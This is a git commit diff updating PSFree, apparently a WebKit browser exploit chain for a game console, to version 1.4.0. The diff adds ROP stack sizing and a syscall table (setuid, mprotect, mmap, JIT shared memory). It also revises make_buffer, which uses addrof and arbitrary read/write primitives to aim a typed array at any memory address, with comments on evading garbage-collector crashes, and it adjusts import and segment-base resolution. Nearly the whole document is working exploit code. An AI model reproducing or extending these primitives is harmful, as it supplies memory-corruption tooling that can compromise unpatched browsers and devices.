Update to 1.4.0

This commit is contained in:
Kameleon
2024-01-27 20:25:49 -06:00
parent fab7ace474
commit c987b108af
19 changed files with 4091 additions and 278 deletions
+19 -2
View File
@@ -28,14 +28,31 @@ import * as o from './offset.mjs';
// put the sycall names that you want to use here
export const syscall_map = new Map(Object.entries({
'close': 6,
'setuid' : 23,
'getuid' : 24,
'mprotect': 74,
'socket' : 97,
'fchmod' : 124,
'mlock' : 203,
'kqueue' : 362,
'kevent' : 363,
'mmap' : 477,
// for JIT shared memory
'jitshm_create' : 533,
'jitshm_alias' : 534,
}));
// Extra space to allow a ROP chain to push temporary values. It must pop all
// of it before reaching a "ret" instruction, else the instruction will pop one
// of the temporaries as its return address.
const upper_pad = 0x100;
const stack_size = 0x1000;
//
// Also space for additional frames when we call a function since we do not
// pivot the call to another stack (the called function's stack pointer is
// pointing to our ROP stack as well).
const upper_pad = 0x10000;
// maximum size of the ROP stack
const stack_size = 0x10000;
const total_size = upper_pad + stack_size;
const argument_pops = [
+5
View File
@@ -114,6 +114,11 @@ export class Int {
this.buffer = buffer;
this.bytes = bytes;
this.eq = operation(function eq(b) {
const a = this;
return a.low() === b.low() && a.high() === b.high();
}, 1);
this.neg = operation(function neg() {
let type = this.constructor;
+1 -26
View File
@@ -1,4 +1,4 @@
/* Copyright (C) 2023 anonymous
/* Copyright (C) 2023-2024 anonymous
This file is part of PSFree.
@@ -208,31 +208,6 @@ class MemoryBase {
}
export class Memory extends MemoryBase {
constructor(main, main_addr, worker, worker_addr, worker_index) {
super();
this.main = main;
this.main_addr = main_addr;
this.worker = worker;
this.worker_addr = worker_addr;
// The initial creation of the "a" property will change the butterfly
// address. Do it now so we can cache it for addrof().
worker.a = 0; // dummy value, we just want to create the "a" property
this.butterfly = read64(main, worker_index + o.js_butterfly);
write32(main, worker_index + o.view_m_length, 0xffffffff);
// setup main's m_vector to worker
write64(main, worker_index + o.view_m_vector, main_addr);
write64(worker, o.view_m_vector, worker_addr);
this._current_addr = main_addr;
init_module(this);
}
}
export class Memory2 extends MemoryBase {
constructor(main, worker) {
super();
+38 -19
View File
@@ -1,4 +1,4 @@
/* Copyright (C) 2023 anonymous
/* Copyright (C) 2023-2024 anonymous
This file is part of PSFree.
@@ -26,42 +26,61 @@ import { read32 } from './rw.mjs';
import * as rw from './rw.mjs';
import * as o from './offset.mjs';
// creates an ArrayBuffer whose contents is copied from addr
export function make_buffer(addr, size) {
// see enum TypedArrayMode from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
// at webkitgtk 2.34.4
//
// views with m_mode < WastefulTypedArray don't have a ArrayBuffer object
// associated with them, if we ask for view.buffer, it will be created on
// the fly
const mode_fast = 0;
const u = new Uint8Array(1);
// see possiblySharedBuffer() from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
// at webkitgtk 2.34.4
//
// Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
// associated with them, if we ask for view.buffer, the view will be
// converted into a WastefulTypedArray and an ArrayBuffer will be created.
//
// We will create an OversizeTypedArray via requesting an Uint8Array whose
// number of elements will be greater than fastSizeLimit (1000).
//
// We will not use a FastTypedArray since its m_vector is visited by the
// GC and we will temporarily change it. The GC expects addresses from the
// JS heap, and that heap has metadata that the GC uses. The GC will likely
// crash since valid metadata won't likely be found at arbitrary addresses.
//
// The FastTypedArray approach will have a small time frame where the GC
// can inspect the invalid m_vector field.
//
// Views created via "new TypedArray(x)" where "x" is a number will always
// have an m_mode < WastefulTypedArray.
const u = new Uint8Array(1001);
const u_addr = mem.addrof(u);
// we won't change the butterfly and m_mode so we won't save those
const old_addr = u_addr.read64(o.view_m_vector);
u_addr.write64(o.view_m_vector, addr);
const old_size = u_addr.read32(o.view_m_length);
u_addr.write64(o.view_m_vector, addr);
u_addr.write32(o.view_m_length, size);
const old_mode = u_addr.read32(o.view_m_mode);
// force mode to FastTypedArray
u_addr.write32(o.view_m_mode, mode_fast);
const copy = new Uint8Array(u.length);
copy.set(u);
const res = u.buffer;
// We can't use slowDownAndWasteMemory() on u since that will create a
// JSC::ArrayBufferContents with its m_data pointing to addr. On the
// ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
// cause a crash if the m_data is not from the fastMalloc heap, and even if
// it is, freeing abitrary addresses is dangerous as it may lead to a
// use-after-free.
const res = copy.buffer;
// restore
u_addr.write64(o.view_m_vector, old_addr);
u_addr.write32(o.view_m_length, old_size);
u_addr.write32(o.view_m_mode, old_mode);
return res;
}
function eq(a, b) {
return (a.low() === b.low()) && (a.high() === b.high());
}
// these values came from analyzing dumps from CelesteBlue
function check_magic_at(p, is_text) {
// byte sequence that is very likely to appear at offset 0 of a .text
@@ -88,7 +107,7 @@ function check_magic_at(p, is_text) {
const magic = is_text ? text_magic : data_magic;
const value = [p.read64(0), p.read64(8)];
return eq(value[0], magic[0]) && eq(value[1], magic[1]);
return value[0].eq(magic[0]) && value[1].eq(magic[1]);
}
// Finds the base address of a segment: .text or .data
@@ -156,7 +175,7 @@ export function resolve_import(import_addr) {
// of the next instruction. This means that the actual address used is
// [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
// jump instruction, which is 6 in this case.
const function_addr = import_addr.add(offset.add(6)).readp(0);
const function_addr = import_addr.readp(offset.add(6));
return function_addr;
}